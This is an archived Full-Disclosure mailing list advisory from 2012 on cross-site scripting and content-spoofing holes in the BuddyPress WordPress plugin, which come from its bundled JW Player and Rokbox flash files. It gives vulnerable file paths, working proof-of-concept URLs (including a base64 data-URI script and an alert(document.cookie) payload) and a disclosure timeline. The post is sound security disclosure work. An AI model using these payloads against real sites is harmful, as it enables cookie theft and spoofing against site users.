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Message-ID: <007e01cddec3$a7f8ecb0$9b7a6fd5@pc> Date: Thu, 20 Dec 2012 17:05:32 +0200 From: "MustLive" <mustlive@...security.com.ua> To: <submissions@...ketstormsecurity.org>, <full-disclosure@...ts.grok.org.uk> Subject: XSS and CS vulnerabilities in BuddyPress for WordPress Hello list! I want to warn you about multiple security vulnerabilities in plugin BuddyPress for WordPress. I've disclosed vulnerabilities in JW Player in June and August (including in commercial version JW Player Pro) and disclosed vulnerabilities in Rokbox in December. And BuddyPress uses this software, so it has the same vulnerabilities. These are Content Spoofing and Cross-Site Scripting and vulnerabilities. Different versions of BuddyPress use different versions of swf-files, but in total we have such installations of BuddyPress: with JWPlayer 5.5.1641, with JWPlayer 4.2.95, with Rokbox with JW Player 4.4.198 (in rt_affinity_wp theme). There are small amount of web sites with these swf-files, so it can be old versions or some rare versions of BuddyPress. There are many other vulnerabilities in this WP plugin and later I'll write about them. ------------------------- Affected products: ------------------------- Vulnerable are versions of BuddyPress with JWPlayer or with Rokbox with JWPlayer. ---------- Details: ---------- For JWPlayer 5.5.1641 the path is http://site/wp-content/plugins/buddypress/bp-themes/bp-default/jwplayer/player.swf For JWPlayer 4.2.95 the path is http://site/wp-content/plugins/buddypress/bp-themes/file/player.swf For JWPlayer 4.4.198 in theme rt_affinity_wp for BuddyPress (it's third-party theme) the path is http://site/wp-content/plugins/buddypress/bp-themes/rt_affinity_wp-bp12/js/rokbox/jwplayer/jwplayer.swf. XSS (WASC-08): http://site/wp-content/plugins/buddypress/bp-themes/bp-default/jwplayer/player.swf?playerready=alert(document.cookie) In 5.x versions of JW Player there are this XSS and other vulnerabilities (http://securityvulns.ru/docs28176.html). In 4.x versions of JW Player there are only the next holes. Content Spoofing (WASC-12): In parameter file there can be set as video, as audio files. Swf-file of JW Player accepts arbitrary addresses in parameters file and image, which allows to spoof content of flash - i.e. by setting addresses of video (audio) and/or image files from other site. http://site/wp-content/plugins/buddypress/bp-themes/file/player.swf?file=1.flv&backcolor=0xFFFFFF&screencolor=0xFFFFFF http://site/wp-content/plugins/buddypress/bp-themes/file/player.swf?file=1.flv&image=1.jpg Content Spoofing (WASC-12): Swf-file of JW Player accepts arbitrary addresses in parameter config, which allows to spoof content of flash - i.e. by setting address of config file from other site (parameters file and image in xml-file accept arbitrary addresses). For loading of config file from other site it needs to have crossdomain.xml. http://site/wp-content/plugins/buddypress/bp-themes/file/player.swf?config=1.xml 1.xml <config> <file>1.flv</file> <image>1.jpg</image> </config> Content Spoofing (WASC-12): http://site/wp-content/plugins/buddypress/bp-themes/file/player.swf?abouttext=Player&aboutlink=http://site XSS (WASC-08): http://site/wp-content/plugins/buddypress/bp-themes/file/player.swf?abouttext=Player&aboutlink=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B ------------ Timeline: ------------ 2012.05.29 - informed developers of JW Player. 2012.06.06 - disclosed at my site about JW Player. 2012.08.18 - informed developers about new holes in JW Player Pro. 2012.08.23 - disclosed at my site about JW Player Pro. 2012.08.28 - informed developers of Rokbox. 2012.12.14 - disclosed at my site about Rokbox. 2012.12.20 - disclosed to the lists about BuddyPress. Best wishes & regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
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